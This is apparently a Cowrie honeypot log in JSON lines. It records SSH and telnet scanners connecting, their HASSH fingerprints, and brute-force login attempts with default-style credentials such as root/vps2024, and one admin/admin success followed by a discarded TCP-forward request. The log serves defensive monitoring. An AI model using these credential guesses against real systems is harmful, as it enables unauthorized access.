{"eventid":"cowrie.session.connect","src_ip":"27.96.93.88","src_port":39159,"dst_ip":"159.203.135.109","dst_port":23,"session":"e09442bc4cca","protocol":"telnet","message":"New connection: 27.96.93.88:39159 (159.203.135.109:23) [session: e09442bc4cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:30.624622Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33664,"dst_ip":"159.203.135.109","dst_port":22,"session":"0febe6cdf001","protocol":"ssh","message":"New connection: 159.203.92.129:33664 (159.203.135.109:22) [session: 0febe6cdf001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:36.701053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:36.710088Z","src_ip":"159.203.92.129","session":"0febe6cdf001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:36.738091Z","src_ip":"159.203.92.129","session":"0febe6cdf001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZhouWei","password":"ZhouWei123","message":"login attempt [ZhouWei/ZhouWei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:36.759329Z","src_ip":"159.203.92.129","session":"0febe6cdf001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:37.767827Z","src_ip":"159.203.92.129","session":"0febe6cdf001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00620913505554,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:42.704297Z","src_ip":"43.224.126.107","session":"49b44ddf98e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.44365644454956,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:44.068213Z","src_ip":"27.96.93.88","session":"e09442bc4cca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37604,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccaf48840d22","protocol":"ssh","message":"New connection: 80.94.92.186:37604 (159.203.135.109:22) [session: ccaf48840d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:56.324109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:56.426625Z","src_ip":"80.94.92.186","session":"ccaf48840d22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:56.578101Z","src_ip":"80.94.92.186","session":"ccaf48840d22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:57.471873Z","src_ip":"80.94.92.186","session":"ccaf48840d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:08:58.654032Z","src_ip":"80.94.92.186","session":"ccaf48840d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00281000137329,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:02.088424Z","src_ip":"152.32.87.10","session":"f2f494b184d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":48072,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcd9067eaa70","protocol":"ssh","message":"New connection: 140.106.25.230:48072 (159.203.135.109:22) [session: bcd9067eaa70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:14.962445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:14.967657Z","src_ip":"140.106.25.230","session":"bcd9067eaa70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:14.998631Z","src_ip":"140.106.25.230","session":"bcd9067eaa70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"changeme","message":"login attempt [deploy/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:15.151056Z","src_ip":"140.106.25.230","session":"bcd9067eaa70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:16.186198Z","src_ip":"140.106.25.230","session":"bcd9067eaa70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7546,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a66ea59bf37","protocol":"ssh","message":"New connection: 87.251.64.176:7546 (10.17.0.5:22) [session: 4a66ea59bf37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:16.788619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:16.793571Z","src_ip":"87.251.64.176","session":"4a66ea59bf37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:16.909681Z","src_ip":"87.251.64.176","session":"4a66ea59bf37","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:17.206790Z","src_ip":"87.251.64.176","session":"4a66ea59bf37","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:17.307462Z","session":"4a66ea59bf37","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:17.409518Z","src_ip":"87.251.64.176","session":"4a66ea59bf37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:17.510168Z","src_ip":"87.251.64.176","session":"4a66ea59bf37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52480,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf746daa0648","protocol":"ssh","message":"New connection: 159.203.92.129:52480 (159.203.135.109:22) [session: bf746daa0648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:20.391243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:20.396890Z","src_ip":"159.203.92.129","session":"bf746daa0648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:20.401980Z","src_ip":"159.203.92.129","session":"bf746daa0648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a.colonna","password":"123456","message":"login attempt [a.colonna/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:20.414266Z","src_ip":"159.203.92.129","session":"bf746daa0648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:21.430367Z","src_ip":"159.203.92.129","session":"bf746daa0648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.108.64.6","src_port":50001,"dst_ip":"10.17.0.5","dst_port":22,"session":"21857755bc44","protocol":"ssh","message":"New connection: 180.108.64.6:50001 (10.17.0.5:22) [session: 21857755bc44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:33.110068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:33.117005Z","src_ip":"180.108.64.6","session":"21857755bc44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:33.375459Z","src_ip":"180.108.64.6","session":"21857755bc44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123$","message":"login attempt [ubuntu/ubuntu123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:34.429118Z","src_ip":"180.108.64.6","session":"21857755bc44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:36.547076Z","src_ip":"180.108.64.6","session":"21857755bc44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00328350067139,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:09:38.888400Z","src_ip":"97.117.89.248","session":"2df61dd88e8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":37124,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bea99a4c85b","protocol":"ssh","message":"New connection: 140.106.25.230:37124 (159.203.135.109:22) [session: 5bea99a4c85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:05.125726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:05.131289Z","src_ip":"140.106.25.230","session":"5bea99a4c85b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:05.164267Z","src_ip":"140.106.25.230","session":"5bea99a4c85b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps2024","message":"login attempt [root/vps2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:05.324299Z","src_ip":"140.106.25.230","session":"5bea99a4c85b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:06.360935Z","src_ip":"140.106.25.230","session":"5bea99a4c85b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53504,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c6fb52756aa","protocol":"ssh","message":"New connection: 159.203.92.129:53504 (159.203.135.109:22) [session: 8c6fb52756aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:07.396261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:10:07.581549Z","src_ip":"159.203.92.129","session":"8c6fb52756aa","protocol":"ssh"}
